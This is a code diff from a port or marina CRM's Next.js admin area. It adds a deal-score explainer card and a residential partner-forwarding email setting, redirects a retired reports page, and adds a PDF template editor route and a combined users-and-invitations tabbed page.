+          <CardTitle className="flex items-center gap-2 text-base">
+            <Activity className="h-4 w-4" aria-hidden="true" />
+            How the pulse chip works
+          </CardTitle>
+        </CardHeader>
+        <CardContent className="space-y-3 text-sm">
+          <p className="text-muted-foreground">
+            Every interest row carries a small coloured chip in the detail header. It scores the
+            deal from 0–100 using rule-based signals (no AI). Click the chip on any interest to see
+            the per-signal breakdown - every +N or -N traces back to a dated event on the deal.
+          </p>
+          <p className="text-muted-foreground">
+            Positive signals (recent EOI sent, deposit received, contract signed) push the score up.
+            Risk signals (declined documents, cancelled reservations, berth resold elsewhere) push
+            it down. Stale-contact and stage-stuck signals weigh both directions automatically.
+          </p>
+          <p className="text-muted-foreground">
+            See the full guide at{' '}
+            <Link href="/docs/deal-pulse" className="underline">
+              /docs/deal-pulse
+            </Link>
+            .
+          </p>
+        </CardContent>
+      </Card>
+
+      <RegistryDrivenForm
+        title="Pulse chip behaviour"
+        description="Master toggle, per-signal toggles, and per-port label overrides. Defaults: chip visible, all signals on, built-in tier names ('Hot' / 'Warm' / 'Cold')."
+        sections={['pulse']}
+      />
+    </div>
+  );
+}

src/app/(dashboard)/[portSlug]/admin/reports/page.tsx

@@ -1,5 +1,21 @@
-import { ReportsDashboard } from '@/components/admin/reports-dashboard';
+import { redirect } from 'next/navigation';
 
-export default function AdminReportsPage() {
-  return <ReportsDashboard />;
+/**
+ * 2026-05-22: `/admin/reports` deleted. The page rendered three cards
+ * - Pipeline funnel, Berth occupancy, and a KPI grid - all of which
+ * are already covered by the main Dashboard widgets (`pipeline_funnel`,
+ * `occupancy_timeline`, `kpi_*`). Redirecting to the dashboard so any
+ * lingering bookmarks land somewhere coherent.
+ *
+ * The `<ReportsDashboard>` component file lives on in the repo for now
+ * pending a follow-up sweep - once we confirm no other surface mounts
+ * it, the component + its data hook can be removed too.
+ */
+export default async function ReportsLegacyRedirectPage({
+  params,
+}: {
+  params: Promise<{ portSlug: string }>;
+}) {
+  const { portSlug } = await params;
+  redirect(`/${portSlug}/dashboard`);
 }

src/app/(dashboard)/[portSlug]/admin/residential-stages/page.tsx

@@ -1,3 +1,4 @@
+import { RegistryDrivenForm } from '@/components/admin/shared/registry-driven-form';
 import { ResidentialStagesAdmin } from '@/components/admin/residential-stages-admin';
 import { PageHeader } from '@/components/shared/page-header';
 
@@ -10,6 +11,16 @@ export default function ResidentialStagesPage() {
         description="Configure the stages residential interests flow through. Removing a stage that still has interests prompts you to reassign them before saving."
       />
       <ResidentialStagesAdmin />
+
+      {/* Partner forwarding - sits on the same admin page so all
+          residential-only port settings live in one place. Reps still
+          see every inquiry in the CRM; this is an outbound courtesy
+          notification for the partner who handles residential leads. */}
+      <RegistryDrivenForm
+        sections={['residential.partner']}
+        title="Partner forwarding"
+        description="Email address(es) that receive a copy of every new residential inquiry the moment it lands. Comma-separated. Leave blank to disable."
+      />
     </div>
   );
 }

src/app/(dashboard)/[portSlug]/admin/templates/[id]/editor/page.tsx

@@ -0,0 +1,15 @@
+import { TemplateEditor } from '@/components/admin/templates/template-editor';
+
+/**
+ * Phase 7.1 - PDF template editor (read + place markers).
+ *
+ * Renders the source PDF for the selected template and lets the admin
+ * drop merge-field markers by clicking on the page. Persists the marker
+ * coordinates to `document_templates.overlay_positions` via PATCH so
+ * the existing `pdf_overlay` fill path can use them at generate time.
+ *
+ * Phase 7.2 (drag/resize/preview/multi-page) is queued separately.
+ */
+export default function TemplateEditorPage({ params }: { params: { id: string } }) {
+  return <TemplateEditor templateId={params.id} />;
+}

src/app/(dashboard)/[portSlug]/admin/users/page.tsx

@@ -1,5 +1,34 @@
+import { InvitationsManager } from '@/components/admin/invitations/invitations-manager';
 import { UserList } from '@/components/admin/users/user-list';
+import { PageHeader } from '@/components/shared/page-header';
+import { Tabs, TabsContent, TabsList, TabsTrigger } from '@/components/ui/tabs';
 
+/**
+ * "People with access" surface - covers BOTH currently-active CRM users
+ * and pending invitations. Previously these lived on separate routes
+ * (/admin/users + /admin/invitations); merged 2026-05-21 so admins land
+ * on one page and tab between states. The standalone /admin/invitations
+ * route now redirects here for back-compat with bookmarks.
+ */
 export default function UserManagementPage() {
-  return <UserList />;
+  return (
+    <div className="space-y-6">
+      <PageHeader
+        title="Users"
+        description="Active CRM users and pending invitations. Switch tabs to manage invitations."
+      />
+      <Tabs defaultValue="active" className="space-y-4">
+        <TabsList>
+          <TabsTrigger value="active">Active users</TabsTrigger>
+          <TabsTrigger value="invitations">Invitations</TabsTrigger>
+        </TabsList>
+        <TabsContent value="active">
+          <UserList />
+        </TabsContent>
+        <TabsContent value="invitations">
+          <InvitationsManager />
+        </TabsContent>
+      </Tabs>
+    </div>
+  );
 }